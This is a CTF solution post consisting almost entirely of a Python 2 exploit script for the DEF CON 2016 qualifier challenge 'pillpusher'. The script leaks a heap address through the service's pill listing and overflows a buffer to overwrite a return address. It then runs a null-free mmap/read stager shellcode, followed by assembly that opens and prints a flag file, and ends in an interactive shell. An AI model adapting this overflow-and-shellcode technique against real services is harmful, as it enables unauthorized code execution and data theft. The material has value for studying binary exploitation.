{DEF CON CTF 2016 Qualification] pwn-pillpusher (I couldn't solve it during competition but thanks for reversing by @ytoku)

exploit.py

#!/usr/bin/env python2

import binascii
import hashlib
import re
import random
import socket
import string
import struct
import subprocess
import time
import telnetlib


def p(x, t="<Q"): return struct.pack(t, x)
def pl(l): return ''.join(map(p, l))
def u(x, t="<Q"): return struct.unpack(t, x)[0]
def ui(x): return u(p(x, t="<q"), t="<Q")
def hx(b): return binascii.hexlify(b)
def uh(s): return binascii.unhexlify(s)
def a2n(s): return socket.inet_aton(s)
def n2a(s): return socket.inet_ntoa(s)

def read_until(f, delim='\n'):
    data = ""
    while not data.endswith(delim):
        data += f.read(1)
    return data

def wn(f, b):
    f.write(b+'\n')

def connect(rhp):
    I("Connect to %s:%d"%(rhp))
    s = socket.create_connection(rhp)
    f = s.makefile('rw', bufsize=0)
    return s, f

def xinteract(s):
    t = telnetlib.Telnet()
    t.sock = s

    I('4ll y0U n33D 15 5h3ll!!')
    t.interact()

def gen_shellcode(source, bits=64):
    source = "".join([
        "BITS %d\n"%(bits),
        source,
        ])
    filename = hashlib.md5(source).hexdigest()
    with open("/tmp/%s.s"%(filename), "wb") as f:
        f.write(source)
    subprocess.call("nasm /tmp/%s.s -o /tmp/%s"%(filename, filename), shell=True)
    with open("/tmp/%s"%filename, "rb") as f:
        shellcode = f.read()
    return filename, shellcode

def M(prefix, body):
    if len(body) == 1:
        body = ''.join(body)
    elif len(body) == 2:
        key, value = body
        if value <= 0xffffffff:
            value = '0x%08x'%(value)
        else:
            value = '0x%016x'%(value)
        body = '%s: %s'%(key, value)
    elif len(body) >= 3:
        body = '%s:%s'%(body[0], body[1:])

    text = '[{prefix}] {body}'.format(prefix=prefix, body=body)
    print text

def W(*body): M('!', body)
def N(*body): M('*', body)
def I(*body): M('+', body)
def D(*body): M('D', repr(body))
def RD(*body): M('D', body)

### user-defined

addr = {}

pills = []
class Pill:
    @staticmethod
    def add(name, dosage=0, schedule=0, threats=None, interacts=None, seffects=None):
        global pills
        read_until(f, '-> ')
        f.write('2\n')
        read_until(f, '-> ')
        f.write('1\n')
        read_until(f, ': ')
        f.write(name)
        read_until(f, ': ')
        f.write('%d\n'%(dosage))
        read_until(f, ': ')
        f.write('%d\n'%(schedule))
        if threats:
            for threat in threats:
                read_until(f, ': ')
                f.write('%s\n'%(threat))
        read_until(f, ': ')
        f.write('\n')
        if interacts:
            for interact in interacts:
                read_until(f, ': ')
                f.write('%s\n'%(interact))
        read_until(f, ': ')
        f.write('\n')
        if seffects:
            for seffect in seffects:
                read_until(f, ': ')
                f.write('%s\n'%(seffect))
        read_until(f, ': ')
        f.write('\n')
        read_until(f, '-> ')
        pills.append(name)
        f.write('6\n')

    @staticmethod
    def list(mark=None):
        global pills, addr, s
        read_until(f, '-> ')
        f.write('2\n')
        read_until(f, '-> ')
        f.write('3\n')
        data = read_until(f, '-> ')
        if mark:
            b = data.index(mark)
            l = len(mark)
            o = 0xb0
            print repr(u(data[b+l:b+l+0x8].split()[0].ljust(8, '\0')))
            addr['heap'] = u(data[b+l:b+l+0x8].split()[0].ljust(8, '\0'))-o
        f.write('6\n')


patients = []
class Patient:
    @staticmethod
    def add(name, symptoms=None):
        global patients
        read_until(f, '-> ')
        f.write('4\n')
        read_until(f, '-> ')
        f.write('1\n')
        read_until(f, ': ')
        f.write('%s\n'%(name))
        read_until(f, ': ')
        f.write('%s\n'%(symptoms and 'Y' or 'n'))
        if symptoms:
            for symptom in symptoms:
                read_until(f, ': ')
                f.write('%s\n'%(symptom))
        read_until(f, ': ')
        f.write('\n')
        patients.append(name)
        read_until(f, '-> ')
        f.write('5\n')

pharmacists = []
class Pharmacist:
    @staticmethod
    def add(name, level=100):
        global pharmacists
        read_until(f, '-> ')
        f.write('3\n')
        read_until(f, '-> ')
        f.write('1\n')
        read_until(f, ': ')
        f.write('%s\n'%(name))
        read_until(f, ': ')
        f.write('%s\n'%(level))
        pharmacists.append(name)
        read_until(f, '-> ')
        f.write('5\n')

pharmacies = []
class Pharmacy:
    @staticmethod
    def add(name):
        global pharmacies, pills, pharmacists
        read_until(f, '-> ')
        f.write('1\n')
        read_until(f, '-> ')
        f.write('1\n')
        read_until(f, '? ')
        f.write('%s\n'%(name))
        if pills:
            for i, pill in enumerate(pills):
                read_until(f, ': ')
                f.write('%s'%(pill))
        read_until(f, ': ')
        f.write('\n')
        if pharmacists:
            for i, pharmacist in enumerate(pharmacists):
                read_until(f, ': ')
                f.write('%s\n'%(pharmacist))
        f.write('\n')
        pharmacies.append(name)
        read_until(f, '-> ')
        f.write('5\n')

class Scrip:
    @staticmethod
    def set():
        global pharmacies, patients
        read_until(f, '-> ')
        f.write('5\n')
        read_until(f, '-> ')
        f.write('1\n')
        f.write('%s\n'%(pharmacies[0]))
        read_until(f, '-> ')
        f.write('2\n')
        f.write('1\n')
        read_until(f, '-> ')
        f.write('3\n')
        f.write('%s\n'%(patients[0]))
        read_until(f, '-> ')
        f.write('4\n')
        read_until(f, ': ')
        f.write('-1\n')
        read_until(f, ': ')
        f.write('\n'.rjust(0x100-4, 'A'))
        read_until(f, ': ')
        f.write('\n'.rjust(0x100-4, 'B'))
        read_until(f, ': ')
        f.write(trigger)
        read_until(f, ': ')
        f.write('\n')


if __name__ == '__main__':
    if len(subprocess.sys.argv) != 3:
        print >> subprocess.sys.stderr, "Usage: %s HOST PORT"%(subprocess.sys.argv[0])
        subprocess.sys.exit(1)

    global trigger
    host, port = subprocess.sys.argv[1:]
    rhp = (host, int(port))
    s, f = connect(rhp)

    symptoms = string.ascii_letters + string.digits + '\x00'

    _, stager = gen_shellcode('''
    ; addr = mmmap(NULL, 0x1000, 7, 0x22, -1, 0)
    xor     edi, edi
    xor     eax, eax
    add     ax, 0xfff
    inc     eax
    mov     rsi, rax
    xor     eax, eax
    add     al, 0x7
    mov     rdx, rax
    xor     eax, eax
    add     al, 0x22
    mov     r10, rax
    xor     r8, r8
    dec     r8
    xor     r9, r9
    xor     eax, eax
    add     al, 0x9
    syscall
    ; read(fd, buf, 0x40)
    mov     rbp, rax
    mov     rsi, rax
    xor     edx, edx
    dec     dl
    xor     edi, edi
    xor     eax, eax
    syscall
    ; init 
    xor     eax, eax
    dec     al
    inc     eax
    add     rbp, rax
    ; go2stage
    push    rsi
    ret
        ''', bits=64)
    assert (not '\0' in stager) and (not '\n' in stager)

    _, sc = gen_shellcode('''
    jmp     get_addr
xxx:
    ; fd = open("./flag", O_RDONLY)
    pop     rdi
    xor     esi, esi
    xor     eax, eax
    add     al, 0x2
    syscall
    ; read(fd, buf, 0xff)
    mov     rdi, rax
    mov     rsi, rbp
    xor     edx, edx
    dec     dl
    xor     eax, eax
    syscall
    ; write(1, buf, 0xff)
    xor     edi, edi
    inc     edi
    xor     edx, edx
    dec     dl
    xor     eax, eax
    inc     eax
    syscall
get_addr:
    call    xxx
    db      './flag', 0
            ''', bits=64)

    Patient.add('patient', symptoms=['s'])

    leakseq = 'A'*0x100
    Pill.add(leakseq)
    data = Pill.list()

    #randseq = ''.join(map(lambda x: random.choice(table), xrange(0x100-len(p(addr['stager'])))))
    #payload = ''.join((
    #    randseq,
    #    addr['stager'],
    #    ))
    #payload = stager.ljust(0x100, '\x90')
        
    '''
    Pill.add(payload, treats=['s'])
    Pharmacist.add('pharmacist', level=20)
    Pharmacy.add('pharmacy')
    Scrip.set()

    xinteract(s)
    '''

    table = string.ascii_letters + string.digits
    Patient.add('patient', symptoms=['s'])
    randseq = ''.join(map(lambda x: random.choice(table), xrange(0x100-4)))
    mark = 'X'*0x100
    payloads = (
        '\n'.rjust(0x100-4, 'A'),
        '\n'.rjust(0x100-4, 'B'),
        mark,
        stager.ljust(0x100, '\x90'),
        )
    for payload in payloads:
        Pill.add(payload, threats=['s'])
    Pill.list(mark=mark)
    print '0x%08x'%(addr['heap'])
    addr['stager'] = addr['heap'] + 0x290
    trigger = ''.join((
                'P'*22 ,
                p(addr['stager']), # retaddr!
            )).ljust(0xff, 'P')+'\n'
    Pill.add(trigger, threats=['s'])
    Pharmacist.add('pharmacist', level=20)
    Pharmacy.add('pharmacy')
    Scrip.set()

    f.write(sc)
    time.sleep(1)

    xinteract(s)
'''
'''